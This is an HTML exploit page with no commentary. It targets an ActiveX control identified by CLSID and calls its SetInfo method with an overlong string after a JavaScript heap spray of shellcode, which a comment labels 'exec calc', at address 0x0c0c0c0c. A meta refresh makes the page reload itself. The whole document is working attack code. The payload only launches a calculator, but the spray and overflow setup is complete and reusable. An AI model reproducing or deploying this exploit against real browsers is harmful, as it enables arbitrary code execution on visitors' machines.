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<html> <body> <object id="gl" classid="clsid:1C9B434A-0898-498A-B802-B00FA0962214"></object> <script> document.write("<meta http-equiv=\"refresh\" content=\"1, " + window.location.href + "\"></meta>");
var heapSprayToAddress = 0x0c0c0c0c; var shellcode = unescape( "%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" + // exec calc "%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%uf513" + "%ue2ce%u8369%ufceb%uf4e2%u2609%u69a6%ucef5%u2c69" + "%u45c9%u6c9e%ucf8d%ue20d%ud6ba%u3669%ucfd5%u2009" + "%ufa7e%u6869%uff1b%uf022%u4a59%u1d22%u0ff2%u6428" + "%u0cf4%u9d09%u9ace%u6dc6%u2b80%u3669%ucfd1%u0f09" + "%uc27e%ue2a9%ud2aa%u82e3%ud27e%u6869%u471e%u4dbe" + "%u0df1%ua9d3%u4591%u59a2%u0e70%u659a%u8e7e%ue2ee" + "%ud285%ue24f%uc69d%u6009%u4e7e%u6952%ucef5%u0169" + "%u91c9%u9fd3%u9895%u916b%u0e76%u3999%u3e9d%u6d68" + "%ua6aa%u977a%uc07f%u96b5%uad12%u0583%uce96%u69e2" );
var heapBlockSize = 0x100000; var payLoadSize = shellcode.length * 2; var spraySlideSize = heapBlockSize - (payLoadSize+0x38); var spraySlide = unescape("%u0c0c%u0c0c"); spraySlide = getSpraySlide(spraySlide,spraySlideSize); heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize; memory = new Array();
for (i=0;i<heapBlocks;i++) { memory[i] = spraySlide + shellcode; }
function getSpraySlide(spraySlide, spraySlideSize) { while (spraySlide.length*2<spraySlideSize) { spraySlide += spraySlide; } spraySlide = spraySlide.substring(0,spraySlideSize/2); return spraySlide; }
var s = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\x0c\x0c\x0c\x0c"; gl.SetInfo("", "", "", 1, 1, 1, "", s); </script> </body> </html>
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